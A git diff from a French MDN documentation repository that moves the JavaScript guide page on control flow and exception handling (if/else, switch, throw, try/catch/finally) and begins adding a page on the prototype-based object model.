+} else if (condition_2) {
+  instruction_2;
+} else if (condition_n) {
+  instruction_n;
+} else {
+  dernière_instruction;
+}
+ +

Afin d'exécuter plusieurs instructions, on peut les regrouper grâce aux blocs ({ ... }) vus précédemment. C'est une bonne pratique que de les utiliser, surtout si on imbrique plusieurs instructions if les unes dans les autres:

+ +
if (condition) {
+  instruction_1_exécutée_si_condition_vraie;
+  instruction_2_exécutée_si_condition_vraie;
+} else {
+  instruction_3_exécutée_si_condition_fausse;
+  instruction_4_exécutée_si_condition_fausse;
+}
+
+ +
Attention à ne pas utiliser des intructions d'affectation dans les expressions conditionnelles. On peut, en effet, très facilement confondre l'affectation et le test d'égalité en lisant le code. Voici un exemple de ce qu'il ne faut pas faire :
+ +
if (x = y) {
+  /* exécuter des instructions */
+}
+
+ +

Ici, on ne teste pas si x vaut y, on affecte la valeur de y à x ! Si vous devez à tout prix utiliser une affectation dans une expression conditionnelle, une bonne pratique sera d'ajouter des parenthèses en plus autour de l'affectation. Par exemple :

+ +
if ((x = y)) {
+  /* exécuter des instructions */
+}
+
+ +

Valeurs équivalents à false dans un contexte booléen (falsy values)

+ +

Lors d'un test, les valeurs suivantes seront considérées comme équivalentes à false :

+ +
    +
  • false
    • +
  • undefined
    • +
  • null
    • +
  • 0
    • +
  • NaN
    • +
  • la chaîne de caractères vide ("")
    • +
+ +

Les autres valeurs, y compris les objets, seront équivalents à true.

+ +

Attention à ne pas confondre les valeurs booléennes « primitives » true et false avec les valeurs crées grâce à un objet Boolean. Par exemple, on aura :

+ +
var b = new Boolean(false);
+if (b) // cette condition est bien vérifiée !
+if (b === true) // cette condition n'est pas vérifiée !
+
+
+ +

Exemple

+ +

Dans l'exemple qui suit, la fonction checkData renvoie true si une chaîne de caractères mesure trois caractères. Sinon, elle affiche une alerte et renvoie false.

+ +
function checkData(maChaîne) {
+  if (maChaîne.length == 3) {
+    return true;
+  } else {
+    alert("Veuillez saisir trois caractères. " +
+      maChaîne + " n'est pas valide.");
+    return false;
+  }
+}
+
+ +
+

Note : Pour plus d'informations sur cette instruction, voir la page de la référence JavaScript sur if, else et else if.

+
+ +

L'instruction switch

+ +

L'instruction switch permet à un programme d'évaluer une expression et d'effectuer des instructions en fonction des différents cas de figures correspondants aux différentes valeurs. Si un cas correspond au résultat de l'évaluation, le programme exécute l'instruction associée. Voici un exemple utilisant une instruction switch :

+ +
switch (expression) {
+  case label_1:
+    instructions_1
+    [break;]
+  case label_2:
+    instructions_2
+    [break;]
+  ...
+  default:
+    instructions_par_defaut
+    [break;]
+}
+
+ +

Pour commencer, le programme recherche (dans l'ordre) une clause case dont le label (ou étiquette) correspond à la valeur de l'expression. Si une telle clause est trouvée, le programme exécutera les instructions associées. Si aucune clause case ne correspond, le programme exécutera les instructions de la clause default si elle est présente. Sinon, le programme continuera avec les instructions qui suivent l'instruction switch. Par convention, la clause default est généralement présentée en dernière bien que ce ne soit pas obligatoire.

+ +

L'instruction optionnelle break, éventuellement contenue pour chaque clause case, permet de ne pas exécuter les instructions pour les cas suivants. Si break n'est pas utilisé, le programme continuera son exécution avec les autres instructions contenues dans l'instruction switch.

+ +

Exemple
+ Dans l'exemple suivant, si fruit vaut "Banane", le programme exécutera les instructions associées. Quand break est rencontré, le programme passe aux instructions décrites après switch. Ici, si break n'était pas présent, les instructions pour le cas "Cerise" aurait également été exécutées.

+ +
switch (fruit) {
+  case "Orange":
+    console.log("Les oranges sont à 60 centimes le kilo.");
+    break;
+  case "Pomme":
+    console.log("Les pommes sont à 32 centimes le kilo.");
+    break;
+  case "Banane":
+    console.log("Les bananes sont à 48 centimes le kilo.");
+    break;
+  case "Cerise":
+    console.log("Les cerises sont à 3€ le kilo.");
+    break;
+  case "Mangue":
+    console.log("Les mangues sont à 50 centimes le kilo.");
+    break;
+  default:
+    console.log("Désolé, nous n'avons pas de " + fruittype + ".");
+}
+console.log("Souhaitez-vous autre chose ?");
+ +
+

Note : Pour plus de détails sur cette instruction, voir la page switch de la référence JavaScript.

+
+ +

Les instructions pour gérer les exceptions

+ +

Il est possible de lever des exceptions avec l'instruction throw et de les gérer (les intercepter) avec des instructions try...catch.

+ + + +

Les types d'exception

+ +

En JavaScript, n'importe quel objet peut être signalé comme une exception. Cependant, afin de respecter certaines conventions et de bénéficier de certaines informations, on pourra utiliser les types destinés à cet effet :

+ + + +

L'instruction throw

+ +

L'instruction throw est utilisée afin de signaler (throw en anglais) une exception. Lorsqu'on signale une exception, on définit une expression qui contient la valeur à renvoyer pour l'exception :

+ +
throw expression;
+
+ +

Il est possible d'utiliser n'importe quelle expression, sans restriction de type. Le fragment de code qui suit illustre les différentes possibilités :

+ +
throw "Erreur2";  //type String
+throw 42;         //type Number
+throw true;       //type Boolean
+throw {toString: function () { return "je suis un objet !"; } };
+
+ +
Note : Il est possible de renvoyer un objet quand on signale une exception. Les propriétés de cet objet pourront être utilisées dans le bloc catch décrit ci-après. Dans l'exemple suivant, on définit un objet monException du type ExceptionUtilisateur, on utilise cet objet dans l'instruction throw.
+ +
// On crée le constructeur pour cet objet
+function ExceptionUtilisateur(message) {
+  this.message = message;
+  this.name = "ExceptionUtilisateur";
+}
+
+// On surcharge la méthode toString pour afficher
+// un message plus explicite (par exemple dans la console)
+ExceptionUtilisateur.prototype.toString = function() {
+  return this.name + ': "' + this.message + '"';
+}
+
+// On crée une instance pour ce type d'objet
+// et on renvoie une exception avec cette instance
+throw new ExceptionUtilisateur("La valeur fournie est trop élevée.");
+ +
+

Note : Pour plus d'informations sur cette instruction, voir la page de la référence JavaScript sur throw.

+
+ +

L'instruction try...catch

+ +

L'instruction try...catch permet de définir un bloc d'instructions qu'on essaye (try en anglais) d'exécuter, ainsi qu'une ou plusieurs instructions à utiliser en cas d'erreur lorsqu'une exception se produit. Si une exception est signalée, l'instruction try...catch permettra de l' « attraper » (catch en anglais) et de définir ce qui se passe dans ce cas.

+ +

L'instruction try...catch se compose d'un bloc try qui contient une ou plusieurs instructions et blocs catch qui contiennent les instructions à exécuter lorsqu'une exception se produit dans le bloc try. Autrement dit, dans la plupart des cas pour le programme, on veut que les instructions du bloc try se déroulent normalement et en cas de problème, on passe le contrôle au bloc catch. Si une instruction contenue dans le bloc try renvoie une exception, le contrôle sera immédiatement transféré au bloc catch. Si aucune exception n'est signalée au sein du bloc try, le bloc catch ne sera pas utilisé. Cette instruction peut comporter un bloc finally qui s'exécute après les blocs try et catch mais avant les instructions suivant l'instruction try...catch.

+ +

Dans l'exemple qui suit, on utilise une instruction try...catch. On définit une fonction qui prend un nombre et renvoie le nom du mois correspondant à ce nombre. Si la valeur fournie n'est pas comprise entre 1 et 12, on signale une exception avec la valeur "NuméroMoisInvalide". Lorsque cette exception est gérée dans le bloc catch, la variable nomMois recevra la valeur "inconnu".

+ +
function getNomMois(numMois) {
+  numMois = numMois - 1; // On décale de 1 car les indices du tableaux commencent à 0
+  var mois = ["Janvier", "Février", "Mars", "Avril" ,"Mai", "Juin", "Juillet",
+              "Août", "Septembre", "Octobre", "Novembre", "Décembre"];
+  if (mois[numMois] != null) {
+    return mois[numMois];
+  } else {
+    throw "NuméroMoisInvalide";  // Ici on utilise l'instruction throw
+  }
+}
+
+try { // les instructions à essayer si tout se passe bien
+  nomMois = getNomMois(maVarMois); // La fonction peut renvoyer une exception
+} catch (e) {
+  nomMois = "inconnu";
+  gestionErreurLog(e); // on gère l'erreur avec une fonction
+}
+
+ +

Le bloc catch

+ +

Un bloc catch peut être utilisé afin de gérer les exceptions pouvant être générées par les instructions du bloc try.

+ +
catch (ident) {
+  statements
+}
+
+ +

Le bloc catch définit un identifiant (ident dans le fragment de code précédent) qui contiendra la valeur passée par l'instruction throw. Cet identifiant peut être utilisé afin de récupérer des informations sur l'exception qui a été signalée. Le moteur JavaScript crée cet identifiant lorsque le contrôle passe au bloc catch. L'identifiant ne « vit » qu'à l'intérieur du bloc catch et une fois que l'exécution du bloc catch est terminée, l'identifiant n'est plus disponible.

+ +

Dans l'exemple suivant, le code renvoie une exception. Lorsque celle-ci est signalée, le contrôle passe au bloc catch.

+ +
try {
+  throw "monException"; // on génère une exception
+} catch (e) {
+  // les instructions utilisées pour gérer les exceptions
+  enregistrerErreurs(e); // on passe l'objet représentant l'exception à une fonction utilisée pour gérer les erreurs
+}
+
+ +
+

Note : Pour plus d'informations sur cette instruction, voir la page de la référence JavaScript sur try...catch.

+
+ +
+

Note : Quand on souhaite afficher des erreurs dans la console, on privilégiera console.error() plutôt que console.log(). En effet, cette première méthode est plus adaptée et indiquera plus d'informations.

+
+ +

Le bloc finally

+ +

Le bloc finally contient les instructions à exécuter après les blocs try et catch mais avant l'instruction suivant le try...catch...finally.

+ +

Le bloc finally est exécuté dans tous les cas, qu'une exception ait été levée ou non. Si une exception est signalée et qu'il n'y a pas de bloc catch pour la gérer, les instructions du bloc finally seront tout de même exécutées.

+ +

Le bloc finally peut être utilisé afin de finir proprement l'exécution malgré une exception. On peut, par exemple, devoir libérer une ressource, ou fermer un flux, etc. Dans l'exemple suivant, on écrit dans un fichier, si une exception se produit lors de l'écriture, on utilisera le bloc finally afin de bien fermer le flux vers le fichier avant la fin du script.

+ +
ouvrirFichier();
+try {
+  écrireFichier(données); // Une erreur peut se produire
+} catch(e) {
+  gérerException(e); // On gère le cas où on a une exception
+} finally {
+  fermerFichier(); // On n'oublie jamais de fermer le flux.
+}
+
+ +

Si le bloc finally renvoie une valeur, cette valeur sera considérée comme la valeur de retour pour tout l'ensemble try-catch-finally, quel que soient les instructions return éventuellement utilisées dans les blocs try et catch :

+ +
function f() {
+  try {
+    console.log(0);
+    throw "bug";
+  } catch(e) {
+    console.log(1);
+    return true; // Cette instruction est bloquée jusqu'à la fin du bloc finally
+    console.log(2); // Ne pourra jamais être exécuté
+  } finally {
+    console.log(3);
+    return false; // On surcharge l'instruction "return" précédente
+    console.log(4); // Ne pourra jamais être exécuté
+  }
+  // "return false" est exécuté
+
+  console.log(5); // Ne pourra jamais être exécuté
+}
+f(); // affiche 0, 1, 3 puis renvoie false
+
+ +

Lorsqu'on surcharge les valeurs de retour avec le bloc finally, cela s'applique également aux exceptions qui sont levées (ou retransmises) au sein du bloc catch :

+ +
function f() {
+  try {
+    throw "problème";
+  } catch(e) {
+    console.log('"problème" interne intercepté');
+    throw e; // cette instruction est mise en attente
+             // tant que le bloc finally n'est pas fini
+  } finally {
+    return false; // surcharge le "throw" précédent
+  }
+  // "return false" est exécuté à ce moment
+}
+
+try {
+  f();
+} catch(e) {
+  // ce bloc n'est jamais utilisé car le throw
+  // utilisé dans le bloc catch a été surchargé
+  // par l'instruction return de finally
+  console.log('"problème" externe intercepté');
+}
+
+// Sortie
+// "problème" interne attrapé
+ +

Imbriquer des instructions try...catch

+ +

Il est possible d'imbriquer une ou plusieurs instructions try...catch. Si une instruction try...catch imbriquée ne comporte pas de bloc catch, elle doit contenir une instruction finally et le bloc catch de l'instruction try...catch englobante sera utilisé si jamais il y a une exception. Pour plus de détails, voir la page sur l'instruction try...catch.

+ +

Utiliser les objets Error

+ +

En fonction du type d'erreur qui est créée, on pourra utiliser les propriétés name et message afin d'obtenir plus d'informations. Généralement on a name qui fournit le type d'erreur rencontrée (ex : DOMException ou Error). La propriété message, quant à elle fournit un message descriptif de l'erreur (qu'on utilisera généralement lorsqu'on voudra convertir/afficher le texte correspondant à une erreur).

+ +

Si vous construisez des erreurs, vous pouvez utiliser le constructeur Error afin de disposer de ces propriétés. Ainsi, on pourra avoir :

+ +
function causerErreurs() {
+  if (toutEstSourceDErreurs()) {
+    throw (new Error('mon message'));
+  } else {
+    générerUneAutreErreur();
+  }
+}
+....
+try {
+  causerErreurs();
+} catch (e) {
+  console.error(e.name);// affiche 'Error'
+  console.erro(e.message); // affiche 'mon message' ou un message d'erreur JavaScript
+}
+ +

{{PreviousNext("Web/JavaScript/Guide/Types_et_grammaire", "Web/JavaScript/Guide/Boucles_et_itération")}}

diff --git "a/files/fr/web/javascript/guide/contr\303\264le_du_flux_gestion_des_erreurs/index.html" "b/files/fr/web/javascript/guide/contr\303\264le_du_flux_gestion_des_erreurs/index.html" deleted file mode 100644 index a267ed8c97..0000000000 --- "a/files/fr/web/javascript/guide/contr\303\264le_du_flux_gestion_des_erreurs/index.html" +++ /dev/null @@ -1,408 +0,0 @@ ---- -title: Contrôle du flux d'instructions et gestion des erreurs -slug: Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs -tags: - - Débutant - - Guide - - JavaScript -translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling ---- -

{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Types_et_grammaire", "Web/JavaScript/Guide/Boucles_et_itération")}}

- -

JavaScript supporte nativement un ensemble d'instructions. Ces instructions permettent de définir les logiques des algorithmes, le flux des informations, etc. Ce chapitre fournit un aperçu sur le fonctionnement de ces différentes instructions JavaScript.

- -

Toute expression est une instruction, voir la page Expressions et opérateurs pour plus d'informations sur les expressions. En JavaScript, le point-virgule (;) est utilisé afin de séparer des instructions dans le code.

- -

Voir la Référence JavaScript pour plus de détails sur les différentes instructions décrites dans ce chapitre.

- -

Les blocs

- -

L'instruction la plus simple est l'instruction de bloc qui permet de regrouper des instructions. Un bloc est délimité par une paire d'accolades :

- -
{
-   instruction_1;
-   instruction_2;
-   .
-   .
-   .
-   instruction_n;
-}
-
- -

Exemple

- -

Les instructions de blocs sont souvent utilisées avec les instructions conditionnelles et itératives telles que if, for, while.

- -
while (x < 10) {
-  x++;
-}
-
- -

Ici, { x++; } représente le bloc.

- -

Note importante : En JavaScript, avant ECMAScript 2015 (aussi appelé ES6), les blocs n'introduisaient pas de nouvelles portées. Les variables introduites dans le bloc avec l'instruction var font partie de la portée de la fonction englobante ou du script. Les effets de leur définition persistent en dehors du bloc. Les blocs seuls utilisés avec var (et non let) pourront laisser penser que ce bloc se comportera comme en C ou en Java. Par exemple :

- -
var x = 1;
-{
-  var x = 2;
-}
-console.log(x); // affichera 2
-
- -

Cella affichera 2 car l'instruction var x contenue dans le bloc fait partie de la même portée que l'instruction var x écrite avant le bloc. En C ou en Java, le code équivalent à cet exemple aurait produit 1.

- -

Cela a évolué avec ECMAScript 2015 (ES6). Les instructions letet const permettent de déclarer des variables dont la portée est celle du bloc courant. Voir les pages des références {{jsxref("Instructions/let","let")}} et {{jsxref("Instructions/const","const")}}.

- -
-

Note : Pour plus d'informations sur les blocs, voir l'article sur les blocs de la référence JavaScript.

-
- -

Les instructions conditionnelles

- -

Une instruction conditionnelle est un ensemble de commandes qui s'exécutent si une condition donnée est vérifiée. JavaScript possède deux instructions conditionnelles : if...else et switch.

- -

Instruction if...else

- -

On utilise l'instruction if lorsqu'on souhaite exécuter une instruction si une condition logique est vérifiée (vraie). La clause else est optionnelle et permet de préciser les instructions à exécuter si la condition logique n'est pas vérifiée (l'assertion est fausse). Voici un exemple qui illustre l'utilisation de l'instruction if :

- -
if (condition) {
-  instruction_1;
-} else {
-  instruction_2;
-}
- -

condition peut correspondre à n'importe quelle expression qui est évaluée à true (vrai) ou false (faux). Voir la page sur les booléens pour plus d'informations sur les évaluations qui fournissent les valeurs true ou false. Si la condition vaut true, instruction_1 est exécutée, sinon instruction_2 sera exécutée. instruction_1 et instruction_2 peuvent correspondre à n'importe quelle instruction, y compris d'autres instructions if.

- -

Si on doit tester différentes conditions les unes à la suite des autres, il est possible d'utiliser else if pour lier les différents tests. On l'utilise de la façon suivante :

- -
if (condition_1) {
-  instruction_1;
-} else if (condition_2) {
-  instruction_2;
-} else if (condition_n) {
-  instruction_n;
-} else {
-  dernière_instruction;
-}
- -

Afin d'exécuter plusieurs instructions, on peut les regrouper grâce aux blocs ({ ... }) vus précédemment. C'est une bonne pratique que de les utiliser, surtout si on imbrique plusieurs instructions if les unes dans les autres:

- -
if (condition) {
-  instruction_1_exécutée_si_condition_vraie;
-  instruction_2_exécutée_si_condition_vraie;
-} else {
-  instruction_3_exécutée_si_condition_fausse;
-  instruction_4_exécutée_si_condition_fausse;
-}
-
- -
Attention à ne pas utiliser des intructions d'affectation dans les expressions conditionnelles. On peut, en effet, très facilement confondre l'affectation et le test d'égalité en lisant le code. Voici un exemple de ce qu'il ne faut pas faire :
- -
if (x = y) {
-  /* exécuter des instructions */
-}
-
- -

Ici, on ne teste pas si x vaut y, on affecte la valeur de y à x ! Si vous devez à tout prix utiliser une affectation dans une expression conditionnelle, une bonne pratique sera d'ajouter des parenthèses en plus autour de l'affectation. Par exemple :

- -
if ((x = y)) {
-  /* exécuter des instructions */
-}
-
- -

Valeurs équivalents à false dans un contexte booléen (falsy values)

- -

Lors d'un test, les valeurs suivantes seront considérées comme équivalentes à false :

- -
    -
  • false
    • -
  • undefined
    • -
  • null
    • -
  • 0
    • -
  • NaN
    • -
  • la chaîne de caractères vide ("")
    • -
- -

Les autres valeurs, y compris les objets, seront équivalents à true.

- -

Attention à ne pas confondre les valeurs booléennes « primitives » true et false avec les valeurs crées grâce à un objet Boolean. Par exemple, on aura :

- -
var b = new Boolean(false);
-if (b) // cette condition est bien vérifiée !
-if (b === true) // cette condition n'est pas vérifiée !
-
-
- -

Exemple

- -

Dans l'exemple qui suit, la fonction checkData renvoie true si une chaîne de caractères mesure trois caractères. Sinon, elle affiche une alerte et renvoie false.

- -
function checkData(maChaîne) {
-  if (maChaîne.length == 3) {
-    return true;
-  } else {
-    alert("Veuillez saisir trois caractères. " +
-      maChaîne + " n'est pas valide.");
-    return false;
-  }
-}
-
- -
-

Note : Pour plus d'informations sur cette instruction, voir la page de la référence JavaScript sur if, else et else if.

-
- -

L'instruction switch

- -

L'instruction switch permet à un programme d'évaluer une expression et d'effectuer des instructions en fonction des différents cas de figures correspondants aux différentes valeurs. Si un cas correspond au résultat de l'évaluation, le programme exécute l'instruction associée. Voici un exemple utilisant une instruction switch :

- -
switch (expression) {
-  case label_1:
-    instructions_1
-    [break;]
-  case label_2:
-    instructions_2
-    [break;]
-  ...
-  default:
-    instructions_par_defaut
-    [break;]
-}
-
- -

Pour commencer, le programme recherche (dans l'ordre) une clause case dont le label (ou étiquette) correspond à la valeur de l'expression. Si une telle clause est trouvée, le programme exécutera les instructions associées. Si aucune clause case ne correspond, le programme exécutera les instructions de la clause default si elle est présente. Sinon, le programme continuera avec les instructions qui suivent l'instruction switch. Par convention, la clause default est généralement présentée en dernière bien que ce ne soit pas obligatoire.

- -

L'instruction optionnelle break, éventuellement contenue pour chaque clause case, permet de ne pas exécuter les instructions pour les cas suivants. Si break n'est pas utilisé, le programme continuera son exécution avec les autres instructions contenues dans l'instruction switch.

- -

Exemple
- Dans l'exemple suivant, si fruit vaut "Banane", le programme exécutera les instructions associées. Quand break est rencontré, le programme passe aux instructions décrites après switch. Ici, si break n'était pas présent, les instructions pour le cas "Cerise" aurait également été exécutées.

- -
switch (fruit) {
-  case "Orange":
-    console.log("Les oranges sont à 60 centimes le kilo.");
-    break;
-  case "Pomme":
-    console.log("Les pommes sont à 32 centimes le kilo.");
-    break;
-  case "Banane":
-    console.log("Les bananes sont à 48 centimes le kilo.");
-    break;
-  case "Cerise":
-    console.log("Les cerises sont à 3€ le kilo.");
-    break;
-  case "Mangue":
-    console.log("Les mangues sont à 50 centimes le kilo.");
-    break;
-  default:
-    console.log("Désolé, nous n'avons pas de " + fruittype + ".");
-}
-console.log("Souhaitez-vous autre chose ?");
- -
-

Note : Pour plus de détails sur cette instruction, voir la page switch de la référence JavaScript.

-
- -

Les instructions pour gérer les exceptions

- -

Il est possible de lever des exceptions avec l'instruction throw et de les gérer (les intercepter) avec des instructions try...catch.

- - - -

Les types d'exception

- -

En JavaScript, n'importe quel objet peut être signalé comme une exception. Cependant, afin de respecter certaines conventions et de bénéficier de certaines informations, on pourra utiliser les types destinés à cet effet :

- - - -

L'instruction throw

- -

L'instruction throw est utilisée afin de signaler (throw en anglais) une exception. Lorsqu'on signale une exception, on définit une expression qui contient la valeur à renvoyer pour l'exception :

- -
throw expression;
-
- -

Il est possible d'utiliser n'importe quelle expression, sans restriction de type. Le fragment de code qui suit illustre les différentes possibilités :

- -
throw "Erreur2";  //type String
-throw 42;         //type Number
-throw true;       //type Boolean
-throw {toString: function () { return "je suis un objet !"; } };
-
- -
Note : Il est possible de renvoyer un objet quand on signale une exception. Les propriétés de cet objet pourront être utilisées dans le bloc catch décrit ci-après. Dans l'exemple suivant, on définit un objet monException du type ExceptionUtilisateur, on utilise cet objet dans l'instruction throw.
- -
// On crée le constructeur pour cet objet
-function ExceptionUtilisateur(message) {
-  this.message = message;
-  this.name = "ExceptionUtilisateur";
-}
-
-// On surcharge la méthode toString pour afficher
-// un message plus explicite (par exemple dans la console)
-ExceptionUtilisateur.prototype.toString = function() {
-  return this.name + ': "' + this.message + '"';
-}
-
-// On crée une instance pour ce type d'objet
-// et on renvoie une exception avec cette instance
-throw new ExceptionUtilisateur("La valeur fournie est trop élevée.");
- -
-

Note : Pour plus d'informations sur cette instruction, voir la page de la référence JavaScript sur throw.

-
- -

L'instruction try...catch

- -

L'instruction try...catch permet de définir un bloc d'instructions qu'on essaye (try en anglais) d'exécuter, ainsi qu'une ou plusieurs instructions à utiliser en cas d'erreur lorsqu'une exception se produit. Si une exception est signalée, l'instruction try...catch permettra de l' « attraper » (catch en anglais) et de définir ce qui se passe dans ce cas.

- -

L'instruction try...catch se compose d'un bloc try qui contient une ou plusieurs instructions et blocs catch qui contiennent les instructions à exécuter lorsqu'une exception se produit dans le bloc try. Autrement dit, dans la plupart des cas pour le programme, on veut que les instructions du bloc try se déroulent normalement et en cas de problème, on passe le contrôle au bloc catch. Si une instruction contenue dans le bloc try renvoie une exception, le contrôle sera immédiatement transféré au bloc catch. Si aucune exception n'est signalée au sein du bloc try, le bloc catch ne sera pas utilisé. Cette instruction peut comporter un bloc finally qui s'exécute après les blocs try et catch mais avant les instructions suivant l'instruction try...catch.

- -

Dans l'exemple qui suit, on utilise une instruction try...catch. On définit une fonction qui prend un nombre et renvoie le nom du mois correspondant à ce nombre. Si la valeur fournie n'est pas comprise entre 1 et 12, on signale une exception avec la valeur "NuméroMoisInvalide". Lorsque cette exception est gérée dans le bloc catch, la variable nomMois recevra la valeur "inconnu".

- -
function getNomMois(numMois) {
-  numMois = numMois - 1; // On décale de 1 car les indices du tableaux commencent à 0
-  var mois = ["Janvier", "Février", "Mars", "Avril" ,"Mai", "Juin", "Juillet",
-              "Août", "Septembre", "Octobre", "Novembre", "Décembre"];
-  if (mois[numMois] != null) {
-    return mois[numMois];
-  } else {
-    throw "NuméroMoisInvalide";  // Ici on utilise l'instruction throw
-  }
-}
-
-try { // les instructions à essayer si tout se passe bien
-  nomMois = getNomMois(maVarMois); // La fonction peut renvoyer une exception
-} catch (e) {
-  nomMois = "inconnu";
-  gestionErreurLog(e); // on gère l'erreur avec une fonction
-}
-
- -

Le bloc catch

- -

Un bloc catch peut être utilisé afin de gérer les exceptions pouvant être générées par les instructions du bloc try.

- -
catch (ident) {
-  statements
-}
-
- -

Le bloc catch définit un identifiant (ident dans le fragment de code précédent) qui contiendra la valeur passée par l'instruction throw. Cet identifiant peut être utilisé afin de récupérer des informations sur l'exception qui a été signalée. Le moteur JavaScript crée cet identifiant lorsque le contrôle passe au bloc catch. L'identifiant ne « vit » qu'à l'intérieur du bloc catch et une fois que l'exécution du bloc catch est terminée, l'identifiant n'est plus disponible.

- -

Dans l'exemple suivant, le code renvoie une exception. Lorsque celle-ci est signalée, le contrôle passe au bloc catch.

- -
try {
-  throw "monException"; // on génère une exception
-} catch (e) {
-  // les instructions utilisées pour gérer les exceptions
-  enregistrerErreurs(e); // on passe l'objet représentant l'exception à une fonction utilisée pour gérer les erreurs
-}
-
- -
-

Note : Pour plus d'informations sur cette instruction, voir la page de la référence JavaScript sur try...catch.

-
- -
-

Note : Quand on souhaite afficher des erreurs dans la console, on privilégiera console.error() plutôt que console.log(). En effet, cette première méthode est plus adaptée et indiquera plus d'informations.

-
- -

Le bloc finally

- -

Le bloc finally contient les instructions à exécuter après les blocs try et catch mais avant l'instruction suivant le try...catch...finally.

- -

Le bloc finally est exécuté dans tous les cas, qu'une exception ait été levée ou non. Si une exception est signalée et qu'il n'y a pas de bloc catch pour la gérer, les instructions du bloc finally seront tout de même exécutées.

- -

Le bloc finally peut être utilisé afin de finir proprement l'exécution malgré une exception. On peut, par exemple, devoir libérer une ressource, ou fermer un flux, etc. Dans l'exemple suivant, on écrit dans un fichier, si une exception se produit lors de l'écriture, on utilisera le bloc finally afin de bien fermer le flux vers le fichier avant la fin du script.

- -
ouvrirFichier();
-try {
-  écrireFichier(données); // Une erreur peut se produire
-} catch(e) {
-  gérerException(e); // On gère le cas où on a une exception
-} finally {
-  fermerFichier(); // On n'oublie jamais de fermer le flux.
-}
-
- -

Si le bloc finally renvoie une valeur, cette valeur sera considérée comme la valeur de retour pour tout l'ensemble try-catch-finally, quel que soient les instructions return éventuellement utilisées dans les blocs try et catch :

- -
function f() {
-  try {
-    console.log(0);
-    throw "bug";
-  } catch(e) {
-    console.log(1);
-    return true; // Cette instruction est bloquée jusqu'à la fin du bloc finally
-    console.log(2); // Ne pourra jamais être exécuté
-  } finally {
-    console.log(3);
-    return false; // On surcharge l'instruction "return" précédente
-    console.log(4); // Ne pourra jamais être exécuté
-  }
-  // "return false" est exécuté
-
-  console.log(5); // Ne pourra jamais être exécuté
-}
-f(); // affiche 0, 1, 3 puis renvoie false
-
- -

Lorsqu'on surcharge les valeurs de retour avec le bloc finally, cela s'applique également aux exceptions qui sont levées (ou retransmises) au sein du bloc catch :

- -
function f() {
-  try {
-    throw "problème";
-  } catch(e) {
-    console.log('"problème" interne intercepté');
-    throw e; // cette instruction est mise en attente
-             // tant que le bloc finally n'est pas fini
-  } finally {
-    return false; // surcharge le "throw" précédent
-  }
-  // "return false" est exécuté à ce moment
-}
-
-try {
-  f();
-} catch(e) {
-  // ce bloc n'est jamais utilisé car le throw
-  // utilisé dans le bloc catch a été surchargé
-  // par l'instruction return de finally
-  console.log('"problème" externe intercepté');
-}
-
-// Sortie
-// "problème" interne attrapé
- -

Imbriquer des instructions try...catch

- -

Il est possible d'imbriquer une ou plusieurs instructions try...catch. Si une instruction try...catch imbriquée ne comporte pas de bloc catch, elle doit contenir une instruction finally et le bloc catch de l'instruction try...catch englobante sera utilisé si jamais il y a une exception. Pour plus de détails, voir la page sur l'instruction try...catch.

- -

Utiliser les objets Error

- -

En fonction du type d'erreur qui est créée, on pourra utiliser les propriétés name et message afin d'obtenir plus d'informations. Généralement on a name qui fournit le type d'erreur rencontrée (ex : DOMException ou Error). La propriété message, quant à elle fournit un message descriptif de l'erreur (qu'on utilisera généralement lorsqu'on voudra convertir/afficher le texte correspondant à une erreur).

- -

Si vous construisez des erreurs, vous pouvez utiliser le constructeur Error afin de disposer de ces propriétés. Ainsi, on pourra avoir :

- -
function causerErreurs() {
-  if (toutEstSourceDErreurs()) {
-    throw (new Error('mon message'));
-  } else {
-    générerUneAutreErreur();
-  }
-}
-....
-try {
-  causerErreurs();
-} catch (e) {
-  console.error(e.name);// affiche 'Error'
-  console.erro(e.message); // affiche 'mon message' ou un message d'erreur JavaScript
-}
- -

{{PreviousNext("Web/JavaScript/Guide/Types_et_grammaire", "Web/JavaScript/Guide/Boucles_et_itération")}}

diff --git a/files/fr/web/javascript/guide/details_of_the_object_model/index.html b/files/fr/web/javascript/guide/details_of_the_object_model/index.html new file mode 100644 index 0000000000..50a78fdf27 --- /dev/null +++ b/files/fr/web/javascript/guide/details_of_the_object_model/index.html @@ -0,0 +1,747 @@ +--- +title: Le modèle objet JavaScript en détails +slug: Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails +tags: + - Guide + - Intermediate + - JavaScript + - Object +translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model +--- +

{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Utiliser_les_objets", "Web/JavaScript/Guide/Utiliser_les_promesses")}}

+ +

JavaScript est un langage objet basé sur des prototypes plus que sur des classes. Cette différence peut rendre difficile la compréhension des hiérarchies entre objets, leurs créations, l’héritage de propriétés et de leurs valeurs... L’objectif de ce chapitre est de clarifier ces différents éléments en expliquant le modèle prototypal et ses différences avec un système de classes.

+ +

Avant de lire ce chapitre, il est conseillé d’avoir quelques bases en JavaScript, notamment en ayant déjà écrit quelques fonctions et manipulé des objets.

+ +

Langages de prototypes / Langages de classes

+ +

Les langages orientés objet basés sur des classes, comme Java ou C++, se fondent sur deux entités principales distinctes : les classes et les instances.

+ +
    +
  • Une classe définit l’ensemble des propriétés (que ce soit les méthodes et les attributs en Java, ou les membres en C++) caractérisant un certain ensemble d’objets. Une classe est une représentation abstraite et non pas la représentation particulière d'un membre de cet ensemble d'objets. Par exemple, la classe Employé permettrait de représenter l’ensemble de tous les employés.
    • +
  • Une instance correspond à l’instanciation d'une classe. C’est un de ses membres. Ainsi, Victoria pourrait être une instance de la classe Employé et représenterait un individu en particulier comme un employé. Une instance possède exactement les mêmes propriétés que sa classe (ni plus ni moins).
    • +
+ +

Un langage basé sur des prototypes, comme JavaScript, n’utilise pas cette distinction. Il ne possède que des objets. On peut avoir des objets prototypiques qui sont des objets agissant comme un modèle sur lequel on pourrait obtenir des propriétés initiales pour un nouvel objet. Tout objet peut définir ses propres propriétés, que ce soit à l’écriture ou pendant l’exécution. De plus, chaque objet peut être associé comme le prototype d’un autre objet, auquel cas le second objet partage les propriétés du premier.

+ +

La définition d'une classe

+ +

